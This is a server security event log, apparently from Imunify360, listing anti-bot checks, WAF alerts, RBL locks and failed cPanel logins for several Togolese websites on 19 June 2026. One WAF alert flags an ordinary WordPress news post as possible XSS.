IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/73.jpeg HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:09:51:37 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:09:51:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 209.101.202.139
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:209.101.202.139||TA:209.101.202.139||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:09:51:34 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:09:51:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:09:54:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13199763&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781862851 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:09:54:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12949406&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781862852 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 85.203.15.110
country_id: 2921044
description:
85.203.15.110 - - [19/Jun/2026:09:54:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7106201&pdata=https%253A%252F%252Fwww.sproca.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781862839 HTTP/2.0" 302 0 www.sproca.tg "https://www.sproca.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:85.203.15.110


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.247
country_id: 3469034
description:
Jun 19 09:55:04 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.247 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.16.107.170
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/lancement-djama-stout-porter HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.173.207.18
country_id: 831053
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/jeu-capsules-consommateurs-remise-lots-1 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 95.181.234.143
country_id: 289688
description:
Jun 19 09:56:25 ns5 pure-ftpd[3768612]: (?@95.181.234.143) [INFO] New connection from 95.181.234.143


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.181.214.163
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/event/reunion-distributeurs HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 193.43.149.4
country_id: 163843
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/event/village-djama-evala-2023 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.60.212.126
country_id: 3175395
description:
Jun 19 09:58:01 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.60.212.126 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-19 09:58:30 +0000] info [cpaneld] 45.61.130.187 - tiyasuxe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tiyasuxe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 09:59:48 +0000] info [cpaneld] 185.55.240.13 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.135.169.54
country_id: 192950
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/renforcement-du-controle-2-vehicules-charges-hors-gabarit-reboursent-chemin HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.66.202
country_id: 2363686
description:
[2026-06-19 10:00:25 +0000] info [webmaild] 196.170.66.202 - ingersarlu@inger.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:10:00:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6974919&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781863232 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.4.34.238
country_id: 3469034
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/8.jpeg HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.172.36.158
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-la-delivrance-du-duplicata-de-nationalite-desormais-facile-et-rapide HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.179.139.59
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-json/oembed/1.0/embed?format=xml&url=http:/togodailynews.tg/historique-de-lalimentation-scolaire-au-togo/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.46.102.13
country_id: 3895114
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/16.jpeg HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.162.158.247
country_id: 1269750
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-json/oembed/1.0/embed?format=xml&url=http:/togodailynews.tg/assurance-credit-en-afrique-la-kfw-investit-32-millions-de-dollars-dans-atidi/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.174.224.61
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/municipales-2025-le-scrutin-aura-bel-et-bien-lieu-le-17-juillet-prochain/feed HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.25.43.195
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/?p=23897 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 128.1.120.200
country_id: 1269750
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/?p=7260 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>\xe2\x80\x8eune d\xc3\xa9l\xc3\xa9gation du parti union pour la r\xc3\xa9publique (unir), envoy\xc3\xa9e par le pr\xc3\xa9sident national du parti, faure essozimna gnassingb\xc3\xa9, a pr\xc3\xa9sent\xc3\xa9, le jeudi 18 juin 2026, ses condol\xc3\xa9ances \xc3\xa0 la famille royale de nots\xc3\xa8 dans le cadre des obs\xc3\xa8ques de sa majest\xc3\xa9 ew\xc3\xa9fiaga togbui agokoli iv.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\xe2\x80\x8e</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\xe2\x80\x8eles hommages ont \xc3\xa9t\xc3\xa9 rendus au palais royal devant les chefs traditionnels, les notables et les cadres du milieu. en sa qualit\xc3\xa9 de natif de nots\xc3\xa8 et de cadre de la localit\xc3\xa9, le pr\xc3\xa9sident de l\xe2\x80\x99assembl\xc3\xa9e nationale, le professeur komi selom klassou, a accueilli les diff\xc3\xa9rentes d\xc3\xa9l\xc3\xa9gations et r\xc3\xa9pondu aux messages de compassion adress\xc3\xa9s \xc3\xa0 la famille royale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\xe2\x80\x8e</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31384,\"width\":\"840px\",\"height\":\"auto\",\"aspectratio\":\"4.808290155440415\",\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/ab-uuuu.jpg\" alt=\"\" class=\"wp-image-31384\" style=\"aspect-ratio:4.808290155440415;width:840px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>\xe2\x80\x8ela c\xc3\xa9r\xc3\xa9monie a \xc3\xa9galement enregistr\xc3\xa9 la participation d\xe2\x80\x99une d\xc3\xa9l\xc3\xa9gation du minist\xc3\xa8re de l\xe2\x80\x99administration territoriale, des pr\xc3\xa9fets de plusieurs pr\xc3\xa9fectures de la r\xc3\xa9gion des plateaux, des repr\xc3\xa9sentants de la communaut\xc3\xa9 adja ainsi que de natifs du grand lom\xc3\xa9, notamment des communaut\xc3\xa9s ago\xc3\xa8-nyiv\xc3\xa9, b\xc3\xa8 et aflao. tour \xc3\xa0 tour, les d\xc3\xa9l\xc3\xa9gations ont exprim\xc3\xa9 leur solidarit\xc3\xa9 \xc3\xa0 l\xe2\x80\x99endroit de la famille royale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\xe2\x80\x8e</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\xe2\x80\x8e\xc3\x80 l\xe2\x80\x99issue des salutations d'usage, chaque responsable de d\xc3\xa9l\xc3\xa9gation a sign\xc3\xa9 le cahier de condol\xc3\xa9ances ouvert \xc3\xa0 la maison royale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\xe2\x80\x8e</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31385,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/ab.jpg\" alt=\"\" class=\"wp-image-31385\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>\xe2\x80\x8ela journ\xc3\xa9e a par ailleurs \xc3\xa9t\xc3\xa9 marqu\xc3\xa9e par l\xe2\x80\x99ex\xc3\xa9cution de plusieurs rites et danses traditionnels, notamment agbadja, atopani, gbeko, et alaga en hommage au souverain disparu.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>an</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.145.196.116
country_id: 2510769
description:
212.145.196.116 - - [19/Jun/2026:10:05:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050905&pdata=https%253A%252F%252Ftogodailynews.tg%252Flpsf-la-communaute-internationale-adhere-a-la-vision-de-faure-gnassingbe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781863501 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/lpsf-la-communaute-internationale-adhere-a-la-vision-de-faure-gnassingbe/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.3938.1121 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.145.196.116


